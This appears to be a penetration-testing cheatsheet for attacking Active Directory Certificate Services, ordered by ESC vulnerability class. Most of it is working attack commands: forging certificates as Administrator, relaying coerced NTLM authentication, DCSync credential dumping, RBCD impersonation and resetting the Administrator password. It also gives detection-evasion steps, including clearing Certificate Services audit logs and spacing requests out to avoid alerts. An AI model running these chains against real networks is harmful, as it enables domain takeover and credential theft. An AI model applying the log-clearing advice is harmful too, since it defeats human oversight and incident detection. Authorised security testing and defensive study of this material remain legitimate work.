Skip to content

ADCS Attacks Comprehensive Cheatsheet

Overview

Active Directory Certificate Services (ADCS) attacks exploit misconfigurations in certificate templates, CA configuration, and access controls. ESC1-ESC11 represent different attack scenarios identified by SpecterOps research targeting certificate-based authentication in Windows environments.

Core ADCS Components

Certificate Infrastructure Elements:

  • SAN: Subject Alternative Name - allows specifying alternate identities in certificates
  • EKU: Extended Key Usage - defines certificate purposes and authentication methods
  • CSR: Certificate Signing Request - request submitted to Certificate Authority
  • CA: Certificate Authority - issues, validates, and manages digital certificates

Key Template Attributes:

  • msPKI-Certificate-Name-Flag: Controls SAN specification (EnrolleeSuppliesSubject = 0x1)
  • msPKI-Enrollment-Flag: Controls enrollment behavior and approval requirements
  • pkiExtendedKeyUsage: Defines certificate purposes for authentication
  • EDITF_ATTRIBUTESUBJECTALTNAME2: CA flag allowing SAN specification in requests

ADCS Attack Decision Matrix

Comprehensive Attack Selection Mindmap

graph TD
    A[ADCS Attack Selection] --> B{What Access Do You Have?}

    B -->|Domain User| C[Template-Based Attacks]
    B -->|Local Admin on ADCS| D[ESC5 Attacks]
    B -->|CA Permissions| E[CA-Based Attacks]
    B -->|Write Access| F[Modification Attacks]
    B -->|Network Position| G[Relay Attacks]

    C --> C1[Check Template Permissions]
    C1 --> C2{Template Vulnerable?}
    C2 -->|ESC1: SAN + Client Auth| C3[Direct Exploitation]
    C2 -->|ESC2: Any Purpose| C4[Same as ESC1]
    C2 -->|ESC3: Agent Template| C5[Two-Stage Attack]
    C2 -->|ESC9: No Security Ext| C6[UPN Manipulation]

    D --> D1[Check ADCS Server]
    D1 --> D2{Local Admin Rights?}
    D2 -->|Yes| D3[Abuse SubCA Template]
    D2 -->|Yes| D4[Manual Cert Approval]

    E --> E1{What CA Rights?}
    E1 -->|ManageCA| E2[ESC7: Enable Templates + Add Officer]
    E1 -->|ManageCertificates| E3[ESC7: Approve Pending]
    E1 -->|Both| E4[Full ESC7 Chain]

    F --> F1{Write Permissions On?}
    F1 -->|Template| F2[ESC4: Modify Template]
    F1 -->|User Object| F3[Shadow Credentials + ESC9/10]
    F1 -->|Computer Object| F4[RBCD + Certifried]

    G --> G1{Relay Target?}
    G1 -->|HTTP Enrollment| G2[ESC8: HTTP Relay]
    G1 -->|RPC/ICPR| G3[ESC11: RPC Relay]
    G1 -->|LDAPS| G4[PassTheCert Attacks]

    C3 --> H[Request Cert with Target SAN]
    C5 --> I[Get Agent Cert β†’ Request on Behalf]
    E2 --> J[Enable SubCA β†’ Add Officer β†’ Issue]
    E3 --> K[Find Pending Template β†’ Approve]
    F2 --> L[Modify to ESC1 β†’ Exploit β†’ Restore]
    G2 --> M[Coerce Auth β†’ Relay β†’ Get Cert]

Attack Decision Table

Current Access Target Object Primary Attack Secondary Options Key Requirements
Domain User Vulnerable Template ESC1/ESC2 Direct SAN request EnrolleeSuppliesSubject + Client Auth
Domain User Agent Template ESC3 Two-stage enrollment Agent EKU + Target template
Template Write Any Template ESC4 Convert to ESC1 Modify permissions or attributes
Local Admin on ADCS CA Server ESC5 ESC7-style attacks Access to CA management console
CA Write (EDITF flag) Any Template ESC6 SAN on any template Unpatched (pre-May 2022)
ManageCA Rights Certificate Authority ESC7 Enable templates + Officers SubCA or pending templates
ManageCertificates Pending Requests ESC7 Direct approval Templates with manager approval
Network Position HTTP Enrollment ESC8 NTLM Relay to HTTP Web enrollment enabled
GenericWrite + Template No Security Extension ESC9 UPN manipulation Weak certificate mapping
GenericWrite + Registry Weak Mapping ESC10 Certificate mapping abuse RBCD chain required
Network Position RPC Endpoint ESC11 NTLM Relay to RPC IF_ENFORCEENCRYPTICERTREQUEST disabled
Computer Creation Unpatched CA Certifried dNSHostName spoofing Pre-May 2022 patch status

ADCS Enumeration

Windows Enumeration

Native Windows Methods

Basic ADCS Discovery

# Check Cert Publishers group membership
net localgroup "Cert Publishers"

# Query Public Key Services container
Get-ADObject -SearchBase "CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Filter *

Requirements

  • Domain-joined machine or runas /netonly
  • RSAT tools installed
  • Valid domain credentials

Certify Enumeration

Certify ADCS Discovery

# Basic certificate template enumeration
.\Certify.exe find

# Find vulnerable templates only
.\Certify.exe find /vulnerable

# Enumerate Certificate Authorities
.\Certify.exe cas

Linux Enumeration

NetExec ADCS Discovery

NetExec ADCS Module

# Discover ADCS infrastructure
netexec ldap <dc-ip> -u "user" -p "password" -M adcs

Certipy Enumeration

Certipy Comprehensive Enumeration

# Full ADCS enumeration
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout

# Find vulnerable templates only
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -vulnerable -stdout

# Save BloodHound data
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -bloodhound

ESC Attack Types

ESC1 - Template Allows SAN Specification

ESC1 Requirements

To abuse ESC1, the following conditions must be met:

  • Enterprise CA grants enrollment rights to low-privileged users
  • Manager approval disabled (Requires Manager Approval: False)
  • No authorized signatures required (Authorized Signatures Required: 0)
  • Template allows SAN specification (Enrollee Supplies Subject: True)
  • Client Authentication EKU enabled (Client Authentication: True)

ESC1 Attack

ESC1 Linux Attack Chain

# Find ESC1 vulnerable templates
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -vulnerable -stdout

# Request certificate with alternate SAN
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <template> -upn Administrator@domain

# Authenticate with certificate
certipy auth -pfx administrator.pfx -username administrator -domain domain -dc-ip <dc-ip>

# Use TGT for access
KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass DC.DOMAIN.LOCAL

ESC2 - Any Purpose EKU

ESC2 Requirements

ESC2 requirements are identical to ESC1 with one key difference:

  • Template specifies Any Purpose EKU (Extended Key Usage: Any Purpose)
  • Or template defines no Extended Key Usage at all
  • Can be used for any purpose including client authentication

ESC3 - Certificate Request Agent

ESC3 Requirements

ESC3 requires two certificate templates with specific configurations:

Template 1 (Enrollment Agent Requirements):

  • Enterprise CA grants enrollment rights to low-privileged users
  • Manager approval disabled
  • Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1)

Template 2 (Target Template Requirements):

  • Allows enrollment via Certificate Request Agent
  • Client Authentication EKU enabled
  • No enrollment agent restrictions at CA level

ESC3 Attack

ESC3 Two-Stage Attack

# Step 1: Request enrollment agent certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <agent-template>

# Step 2: Request certificate on behalf of target user
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template 'User' -on-behalf-of 'domain\administrator' -pfx agent.pfx

# Step 3: Authenticate as target user
certipy auth -pfx administrator.pfx -username administrator -domain domain

ESC4 - Vulnerable Certificate Template Access Control

ESC4 Requirements

To abuse ESC4, specific permissions are required:

  • User has write permissions over certificate template (WriteProperty, WriteDacl, WriteOwner)
  • Ability to modify template attributes to introduce vulnerabilities
  • Template modification rights through Full Control or specific ACEs

ESC4 Attack

ESC4 Automated Attack

# Save and modify template
certipy template -u 'user@domain' -p 'password' -template <template> -save-old

# Exploit modified template
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <template> -upn Administrator

# Restore original template
certipy template -u 'user@domain' -p 'password' -template <template> -configuration <template>.json

ESC5 - Vulnerable PKI Object Access Control

ESC5 Requirements

To abuse ESC5, you need control over:

  • The CA server's AD computer object
  • The CA server's RPC/DCOM server
  • Local Administrator rights on the ADCS server
  • Any descendant AD object in CN=Public Key Services container

ESC5 Attack from Linux

ESC5 Local Admin Exploitation

# Setup proxy for internal network access
sshpass -p 'password' ssh -N -f -D 127.0.0.1:9050 user@target

# Configure proxychains
echo "socks4 127.0.0.1 9050" >> /etc/proxychains.conf

# Enumerate with local admin context
proxychains4 -q certipy find -u admin_user -p password -dc-ip <dc-ip> -ns <dc-ip> -dns-tcp -stdout

# Request SubCA certificate (will fail initially)
proxychains4 -q certipy req -u admin_user -p password -ca <ca-name> -template SubCA -upn Administrator@domain -target-ip <adcs-ip>
# Note Request ID: X

# Issue the failed request using local admin privileges
proxychains4 -q certipy ca -u admin_user -p password -ca <ca-name> -issue-request X -target-ip <adcs-ip>

# Retrieve the issued certificate
proxychains4 -q certipy req -u admin_user -p password -ca <ca-name> -retrieve X -target-ip <adcs-ip>

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

ESC6 Requirements

ESC6 exploits CA-level misconfigurations:

  • CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set
  • Any template allowing client authentication becomes vulnerable
  • Vulnerability patched in May 2022 updates (CVE-2022-26923)

ESC6 Attack

ESC6 Exploitation

# Exploit any template with client auth
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template User -upn Administrator@domain

ESC7 - Vulnerable Certificate Authority Access Control

ESC7 Requirements

ESC7 exploits dangerous CA permissions:

  • ManageCA rights: Can modify CA configuration and add officers
  • ManageCertificates rights: Can approve pending/failed requests
  • Combination allows bypassing enrollment restrictions

ESC7 Attack Scenarios

Scenario 1: ManageCA Rights Full Chain

ESC7 ManageCA Exploitation

# Step 1: Check current permissions and templates
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout
# Look for: "ESC7: 'DOMAIN\\user' has dangerous permissions"

# Step 2: Enable SubCA template if disabled
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -enable-template 'SubCA'

# Step 3: Add yourself as certificate manager (officer)
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -add-officer user

# Step 4: Request SubCA certificate (will fail due to permissions)
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template SubCA -upn Administrator@domain
# Save Request ID: X and respond 'y' to save private key

# Step 5: Issue the failed certificate using officer rights
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -issue-request X

# Step 6: Retrieve the issued certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -retrieve X

Scenario 2: ManageCertificates Rights with Pending Templates

ESC7 ManageCertificates Exploitation

# Step 1: Find templates requiring manager approval
certipy find -u 'user@domain' -p 'password' -stdout | grep -B5 -A10 "Manager Approval.*True"

# Step 2: Request certificate (will be pending)
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template <pending-template> -upn Administrator@domain
# Note Request ID: X

# Step 3: Approve pending request
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -issue-request X

# Step 4: Retrieve approved certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -retrieve X

ESC8 - NTLM Relay to AD CS HTTP Endpoints

ESC8 Requirements

Conditions for ESC8 abuse:

  • Web enrollment endpoint enabled on CA
  • Certificate template allowing domain computer enrollment
  • Template with Client Authentication EKU (e.g., Machine/Computer template)
  • Ability to coerce authentication from target

ESC8 Attack

ESC8 NTLM Relay Attack

# Terminal 1: Setup relay listener
sudo certipy relay -target http://<adcs-ip>/certsrv/certfnsh.asp -template DomainController

# Terminal 2: Coerce authentication
python3 PetitPotam.py -u user -p password -d domain <listener-ip> <target-dc-ip>
# OR
coercer coerce -l <listener-ip> -t <target-ip> -u user -p password -d domain

# Certificate saved as: target.pfx

# Authenticate with certificate
certipy auth -pfx target.pfx

# Perform DCSync or create Silver Ticket
secretsdump.py 'target$'@dc.domain -hashes :<hash>

ESC9 - No Security Extension

ESC9 Requirements

ESC9 exploits weak certificate mapping:

  • StrongCertificateBindingEnforcement != 2 OR CertificateMappingMethods contains UPN flag
  • Template has CT_FLAG_NO_SECURITY_EXTENSION flag
  • Template allows Client Authentication
  • GenericWrite rights over any user account

ESC9 Attack

ESC9 Shadow Credentials Chain

# Step 1: Deploy Shadow Credentials
certipy shadow auto -u 'user@domain' -p 'password' -account target-user
# Note hash: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

# Step 2: Change target UPN to victim's UPN
certipy account update -u 'user@domain' -p 'password' -user target-user -upn victim@domain

# Step 3: Request certificate with victim's UPN
certipy req -u 'target-user@domain' -hashes :xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -ca <ca-name> -template <esc9-template>

# Step 4: Revert UPN change
certipy account update -u 'user@domain' -p 'password' -user target-user -upn target-user@domain

# Step 5: Authenticate as victim
certipy auth -pfx victim.pfx -domain domain

ESC10 - Weak Certificate Mappings

ESC10 Requirements

ESC10 exploits registry-level misconfigurations:

Case 1: Kerberos Authentication (StrongCertificateBindingEnforcement = 0)

  • Allows weak certificate-to-account mapping
  • Requires Windows April 2023 updates to be missing

Case 2: Schannel Authentication (CertificateMappingMethods = 0x4)

  • Must target accounts without UPN (machine accounts, built-in accounts)
  • Certificate authentication via LDAP shell required

ESC10 Attack

ESC10 Machine Account Takeover

# Step 1: Gain control over user account
certipy shadow auto -u 'user@domain' -p 'password' -account target-user

# Step 2: Change UPN to DC machine account
certipy account update -u 'user@domain' -p 'password' -user target-user -upn 'dc$@domain'

# Step 3: Request certificate with DC UPN
certipy req -u 'target-user@domain' -hashes :<hash> -ca <ca-name> -template User

# Step 4: Revert UPN change
certipy account update -u 'user@domain' -p 'password' -user target-user -upn target-user@domain

# Step 5: Authenticate via LDAP shell
certipy auth -pfx dc.pfx -domain domain -dc-ip <dc-ip> -ldap-shell

# Step 6: Configure RBCD
add_computer attacker-pc attacker123
set_rbcd dc$ attacker-pc$

# Step 7: Impersonate Administrator
getST.py -spn cifs/DC.DOMAIN -impersonate Administrator domain/'attacker-pc$':attacker123

# Step 8: Access DC
KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass DC.DOMAIN

ESC11 - NTLM Relay to AD CS ICPR Endpoints

ESC11 Requirements

Conditions for ESC11 abuse:

  • IF_ENFORCEENCRYPTICERTREQUEST flag not enforced on CA
  • RPC/ICPR enrollment endpoints accessible
  • Certificate template allowing domain computer enrollment
  • Ability to coerce authentication from target

ESC11 Attack

ESC11 RPC Relay Attack

# Terminal 1: Setup RPC relay listener
sudo certipy relay -target "rpc://<adcs-ip>" -ca "<ca-name>" -template DomainController

# Terminal 2: Coerce authentication
python3 PetitPotam.py -u user -p password -d domain <listener-ip> <target-dc-ip>

# Certificate saved as: target.pfx

# Continue with same post-exploitation as ESC8
certipy auth -pfx target.pfx
secretsdump.py 'target$'@dc.domain -hashes :<hash>

Certifried (CVE-2022-26923)

Certifried Requirements

To exploit Certifried:

  • Unpatched CA (pre-May 2022)
  • Ability to create or modify computer accounts
  • Machine template or similar available
  • Weak certificate mapping (no object SID in certificates)

Certifried Attack

Certifried Automated Attack

# Step 1: Check if vulnerable (no object SID)
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template User
# Look for: "Certificate has no object SID"

# Step 2: Create computer with target DNS name
certipy account create -u 'user@domain' -p 'password' -user FAKE$ -dns DC.DOMAIN.LOCAL

# Step 3: Request certificate as DC
certipy req -u 'FAKE$' -p '<generated-password>' -ca <ca-name> -template Machine

# Step 4: Authenticate as DC
certipy auth -pfx dc.pfx

# Step 5: DCSync or Silver Ticket
secretsdump.py 'dc$'@domain -hashes :<hash>

PKINIT and Alternative Authentication

PKINIT Not Supported - PassTheCert

When PKINIT Fails

Common error indicating PKINIT not supported:

Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

PassTheCert Attack Methods

Certificate Key Extraction

# Extract private key from PFX
openssl pkcs12 -in administrator.pfx -nocerts -out administrator.key
# Set PEM passphrase when prompted

# Extract public key from PFX
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.crt

# Optional: Remove passphrase from key
openssl rsa -in administrator.key -out administrator-nopass.key

PassTheCert Attack Options:

DCSync via PassTheCert

# Grant DCSync rights to controlled user
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
    -domain domain -port 636 -action modify_user -target controlled-user -elevate

# Perform DCSync
secretsdump.py 'domain/controlled-user:password'@<dc-ip>

RBCD via PassTheCert

# Create computer account
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
    -domain domain -port 636 -action add_computer -computer-name 'FAKE$' -computer-pass password

# Configure RBCD
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
    -domain domain -port 636 -action write_rbcd -delegate-to 'DC$' -delegate-from 'FAKE$'

# Impersonate Administrator
getST.py -spn cifs/dc.domain -impersonate Administrator domain/'FAKE$':password

Password Reset via PassTheCert

# Reset Administrator password
python3 passthecert.py -dc-ip <dc-ip> -crt administrator.crt -key administrator-nopass.key \
    -domain domain -port 636 -action modify_user -target administrator -new-pass NewPassword123!

# Authenticate with new password
wmiexec.py administrator:NewPassword123!@<dc-ip>

Advanced Attack Integrations

Shadow Credentials Integration

Shadow Credentials + ADCS Chain

# Deploy Shadow Credentials for hash extraction
certipy shadow auto -u 'user@domain' -p 'password' -account target-user

# Use extracted hash with ADCS attacks
certipy req -u 'target-user@domain' -hashes :<hash> -ca <ca-name> -template <template>

# Authenticate with certificate
certipy auth -pfx certificate.pfx -domain domain

RBCD Integration

Certificate to RBCD Attack Chain

# Authenticate with certificate via LDAP shell
certipy auth -pfx dc.pfx -domain domain -dc-ip <dc-ip> -ldap-shell

# Create computer account
add_computer attacker-pc attacker123

# Configure RBCD on target
set_rbcd target$ attacker-pc$

# Impersonate high-privilege user
getST.py -spn cifs/TARGET.DOMAIN -impersonate Administrator domain/'attacker-pc$':attacker123

# Access target with TGT
KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass TARGET.DOMAIN

Certificate Authentication Methods

Linux Certificate Usage

Linux Certificate Authentication Options

# TGT generation via Certipy
certipy auth -pfx certificate.pfx -username user -domain domain -dc-ip <dc-ip>

# SMB access with TGT
KRB5CCNAME=user.ccache smbexec.py -k -no-pass TARGET.DOMAIN

# WinRM access with TGT
KRB5CCNAME=user.ccache evil-winrm -i <target-ip> -r DOMAIN

# LDAP Shell access (for Schannel auth)
certipy auth -pfx cert.pfx -domain domain -dc-ip <dc-ip> -ldap-shell

Windows Certificate Usage

Windows Certificate Authentication

# Generate TGT and extract NT hash
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap

# Create sacrificial logon session
.\Rubeus.exe createnetonly /program:powershell.exe /show

# Import ticket into session
.\Rubeus.exe ptt /ticket:<base64-ticket>

BloodHound Integration with Certipy

Setup and Configuration

BloodHound ADCS Fork Installation

# Generate ADCS data with Certipy
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -bloodhound

# Generate standard BloodHound data
bloodhound-python -u 'user' -p 'password' -d domain -ns <dc-ip> --zip --dns-tcp

# Download ly4k's BloodHound fork
wget https://github.com/ly4k/BloodHound/releases/download/v4.2.0-ly4k/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip

# Run BloodHound with ADCS support
./BloodHound-linux-x64/BloodHound --no-sandbox

# Import both ZIP files for complete ADCS attack paths

ADCS-Specific Queries

Available PKI queries in BloodHound fork:

  • Shortest Paths to Misconfigured Certificate Template from Owned Principals (ESC1)
  • Shortest Paths to Misconfigured Certificate Template (ESC2)
  • Shortest Paths to Enrollment Agent Templates (ESC3)
  • Shortest Paths to Vulnerable Certificate Template Access Control (ESC4)
  • Shortest Paths to Vulnerable PKI Object Access Control (ESC5)
  • Shortest Paths to Vulnerable Certificate Authority Access Control (ESC7)
  • Find Principals with DCSync Rights

Extended Key Usage Reference

EKU Purpose Object Identifier (OID) Authentication Use Attack Relevance
Client Authentication 1.3.6.1.5.5.7.3.2 Domain user authentication ESC1, ESC2, ESC6
Smart Card Logon 1.3.6.1.4.1.311.20.2.2 Smart card authentication ESC1, ESC2
Certificate Request Agent 1.3.6.1.4.1.311.20.2.1 Request certificates for others ESC3
PKINIT Client Authentication 1.3.6.1.5.2.3.4 Kerberos PKINIT authentication Certificate auth
Any Purpose 2.5.29.37.0 Universal certificate usage ESC2
Subordinate CA Multiple EKUs CA certificate issuance ESC7 with SubCA

Troubleshooting Common Issues

Certificate Request Failures

Common Certificate Request Issues

DNS Resolution Errors:

# Add domain to /etc/hosts
echo "<dc-ip> domain.local DC.domain.local" >> /etc/hosts

# Use -dc-host parameter
certipy req -u 'user@domain' -p 'password' -dc-host domain.local -ca <ca-name> -template <template>

PKINIT Not Supported:

# Error: KDC_ERR_PADATA_TYPE_NOSUPP
# Solution: Use PassTheCert for LDAPS authentication instead

Template Access Denied:

# Error: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED
# Check enrollment permissions
certipy find -u 'user@domain' -p 'password' -stdout | grep -A 10 "<template-name>"

Authentication Issues

Certificate Authentication Problems

Kerberos Clock Skew:

# Synchronize time with DC
sudo ntpdate <dc-ip>

# Or use rdate
sudo rdate -s <dc-ip>

Certificate Format Issues:

# Proper PFX conversion
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Verify certificate contents
openssl pkcs12 -in cert.pfx -info -nodes

Network and Proxy Issues

Proxy Configuration for Internal Networks

SSH Port Forwarding Setup:

# Create SOCKS proxy
sshpass -p 'password' ssh -N -f -D 127.0.0.1:9050 user@jumphost

# Configure proxychains
cat >> /etc/proxychains.conf << EOF
# Comment out proxy_dns
#proxy_dns
# Add SOCKS proxy
socks4 127.0.0.1 9050
EOF

# Use with tools
proxychains4 -q certipy find -u user -p password -dc-ip <internal-dc>

OPSEC Considerations

High-Risk Activities

Activities Most Likely to Trigger Detection:

  • Certificate requests with non-standard Subject Alternative Names
  • Template modifications by non-administrative accounts
  • Multiple certificate requests in short time periods
  • Failed certificate requests followed by approvals (ESC7)
  • Registry modifications to certificate mapping settings
  • Mass certificate enrollments from single source
  • Authentication coercion attempts
  • LDAP modifications via PassTheCert

Stealth Recommendations

Operational Security Best Practices:

  • Use existing legitimate certificate templates when possible
  • Spread certificate requests over time to avoid bulk detection
  • Clean up modified templates after successful exploitation
  • Use certificate authentication during normal business hours
  • Remove added CA officer permissions after attacks
  • Restore original UPN values after ESC9/ESC10 attacks
  • Delete created computer accounts post-exploitation
  • Clear certificate request logs where possible

Detection Evasion

Log Management

# Clear certificate services logs (requires high privileges)
wevtutil cl "Microsoft-Windows-CertificateServices-CertificateServicesAuditEvents/Operational"

# Monitor for these Event IDs before clearing:
# 4887: Certificate Services approved a certificate request
# 4888: Certificate Services denied a certificate request
# 4890: Certificate settings changed for Certificate Services

Quick Attack Selection Guide

Decision Flow for ESC Attacks

graph TD
    Start[Start Assessment] --> Check1{Can you enumerate ADCS?}

    Check1 -->|Yes| Enum[Run: certipy find -vulnerable]
    Check1 -->|No| NoADCS[No ADCS attacks possible]

    Enum --> Vulns{What vulnerabilities found?}

    Vulns -->|ESC1/2/3/9| Templates[Template-based attacks]
    Vulns -->|ESC4| Modify[Can modify templates]
    Vulns -->|ESC5| LocalAdmin[Local admin on ADCS]
    Vulns -->|ESC6| CAFlag[EDITF flag set]
    Vulns -->|ESC7| CAPerms[Have CA permissions]
    Vulns -->|ESC8/11| Relay[Can relay authentication]
    Vulns -->|None| CheckPerms[Check your permissions]

    CAPerms --> CAType{What CA rights?}
    CAType -->|ManageCA| EnableSubCA[Enable SubCA β†’ Add Officer β†’ Issue]
    CAType -->|ManageCertificates| ApprovePending[Find pending templates β†’ Approve]
    CAType -->|Both| FullChain[Complete ESC7 chain]

    Relay --> RelayType{What endpoint available?}
    RelayType -->|HTTP| ESC8Attack[Coerce β†’ HTTP relay β†’ Get cert]
    RelayType -->|RPC| ESC11Attack[Coerce β†’ RPC relay β†’ Get cert]

    CheckPerms --> Special{Special access?}
    Special -->|GenericWrite| Shadow[Shadow Creds + ESC9/10]
    Special -->|Computer creation| Certifried[Certifried attack]
    Special -->|Network position| Relay

Priority Attack Matrix

Vulnerability Complexity Detection Risk Success Rate Recommended For
ESC1 Low Medium High Quick wins with template access
ESC4 Medium High High When template write access available
ESC7 Medium Medium Very High CA permissions exploitation
ESC8 High Low High Coercion + relay scenarios
Certifried Low Medium High Unpatched environments
ESC5 Medium Low High Local admin on ADCS server
ESC9/10 High Medium Medium Complex permission chains
ESC11 High Low High When ESC8 is patched

Complete Attack Scenarios

Scenario: ESC7 with Template Discovery

ESC7 Complete Chain with Template Analysis

# Step 1: Initial enumeration - check what rights you have
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout | grep -A20 "Certificate Authorities"
# Look for: ManageCA or ManageCertificates under your user

# Step 2: If you have ManageCA, check available templates
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -stdout | grep -B5 "Template Name"
# Look for: SubCA template or templates with "Requires Manager Approval: True"

# Step 3: Enable SubCA if needed
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -enable-template SubCA

# Step 4: Add yourself as officer
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -add-officer user

# Step 5: Request privileged certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -template SubCA -upn Administrator@domain
# Note: Request ID 31, save private key

# Step 6: Issue the failed request
certipy ca -u 'user@domain' -p 'password' -ca <ca-name> -issue-request 31

# Step 7: Retrieve certificate
certipy req -u 'user@domain' -p 'password' -ca <ca-name> -retrieve 31

# Step 8: Authenticate
certipy auth -pfx administrator.pfx

Scenario: ESC5 Local Admin Exploitation

ESC5 Attack via Local Administrator

# Context: You have local admin on ADCS server (not DC)

# Step 1: Setup access to internal network
sshpass -p 'HTB_@cademy_stdnt!' ssh -N -f -D 127.0.0.1:9050 htb-student@<jumphost>

# Step 2: Verify admin access
proxychains4 -q netexec smb <adcs-ip> -u localadmin -p password
# Should show: (Pwn3d!)

# Step 3: Enumerate with admin context
proxychains4 -q certipy find -u localadmin -p password -dc-ip <dc-ip> -ns <dc-ip> -dns-tcp -target-ip <adcs-ip> -stdout

# Step 4: Abuse SubCA template as local admin
proxychains4 -q certipy req -u localadmin -p password -ca <ca-name> -template SubCA -upn Administrator@domain -target-ip <adcs-ip>
# Request ID: 10

# Step 5: Approve with local admin rights
proxychains4 -q certipy ca -u localadmin -p password -ca <ca-name> -issue-request 10 -target-ip <adcs-ip>

# Step 6: Retrieve and use
proxychains4 -q certipy req -u localadmin -p password -ca <ca-name> -retrieve 10 -target-ip <adcs-ip>

Scenario: Relay Attack Decision

Choosing Between ESC8 and ESC11

# Step 1: Check which relay endpoints are available
certipy find -u 'user@domain' -p 'password' -dc-ip <dc-ip> -vulnerable -stdout

# If output shows:
# "ESC8: Web Enrollment is enabled" β†’ Use HTTP relay
# "ESC11: Encryption is not enforced for ICPR" β†’ Use RPC relay
# Both β†’ Prefer ESC11 (less commonly monitored)

# ESC8 Path (HTTP):
sudo certipy relay -target http://<adcs-ip>/certsrv/certfnsh.asp -template DomainController

# ESC11 Path (RPC):
sudo certipy relay -target "rpc://<adcs-ip>" -ca "<ca-name>" -template DomainController

# Step 2: Trigger coercion (same for both)
python3 PetitPotam.py -u user -p password -d domain <your-ip> <target-dc>

# Step 3: Post-exploitation (same for both)
certipy auth -pfx dc.pfx
secretsdump.py 'dc@domain -hashes :<hash>

Tool Installation and Setup

Linux Tools Installation

Essential Linux ADCS Tools

# Certipy-AD (primary tool)
pip3 install certipy-ad

# Impacket suite (latest version)
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .

# PassTheCert for LDAPS attacks
git clone https://github.com/AlmondOffSec/PassTheCert

# Coercer for authentication coercion
pip3 install coercer

# PetitPotam
git clone https://github.com/topotam/PetitPotam

# NetExec for enumeration
pip3 install netexec

# BloodHound Python
pip3 install bloodhound

# PowerView.py for AD modifications
git clone https://github.com/aniqfakhrul/powerview.py
cd powerview.py && sudo python3 setup.py install

Windows Tools Setup

Essential Windows ADCS Tools:

  • Certify.exe: https://github.com/GhostPack/Certify
  • Rubeus.exe: https://github.com/GhostPack/Rubeus
  • PowerView.ps1: https://github.com/PowerShellMafia/PowerSploit
  • PassTheCert.exe: https://github.com/AlmondOffSec/PassTheCert
  • PSPKI Module: Install-Module PSPKI

Critical Reminders

Certificate Request Management

When requests fail or pend:

  • ALWAYS save the private key when prompted
  • Note the Request ID for later retrieval
  • Failed requests can be approved with proper rights
  • Pending requests need ManageCertificates to approve

Template Selection for Attacks

Choosing the right template:

  • SubCA: Best for ESC7 with ManageCA rights (most privileged)
  • User/Machine: Standard templates for ESC6 or ESC8/11
  • DomainController: Use when targeting DCs in relay attacks
  • Custom vulnerable: Check enrollment rights match your access

Network Considerations

For internal ADCS servers:

  • Use -target-ip when ADCS and DC are different
  • Add -ns and -dns-tcp for DNS resolution
  • Configure proxychains for pivoting scenarios
  • Ensure time sync for Kerberos authentication

Final Quick Reference

Most Common Attack Commands

Essential ADCS Attack Commands

# ESC1 - Direct SAN exploitation
certipy req -u 'user@domain' -p 'password' -ca <ca> -template <template> -upn Administrator

# ESC4 - Template modification
certipy template -u 'user@domain' -p 'password' -template <template> -save-old

# ESC7 - CA officer abuse
certipy ca -u 'user@domain' -p 'password' -ca <ca> -add-officer user
certipy ca -u 'user@domain' -p 'password' -ca <ca> -issue-request <id>

# ESC8/11 - Relay attacks
sudo certipy relay -target <endpoint> -template <template>

# Shadow Credentials integration
certipy shadow auto -u 'user@domain' -p 'password' -account target

# Certifried
certipy account create -u 'user@domain' -p 'password' -user FAKE$ -dns DC.DOMAIN

# PassTheCert when PKINIT fails
python3 passthecert.py -crt cert.crt -key cert.key -domain domain -action <action>

This comprehensive ADCS cheatsheet provides systematic coverage of all certificate-based attack vectors in Active Directory environments, with enhanced focus on ESC5-ESC11, proper template analysis, and decision-making workflows for selecting appropriate attacks based on available access and permissions.


ADCS Enumeration & ESC Abuse with Certipy β€” Cheatsheet

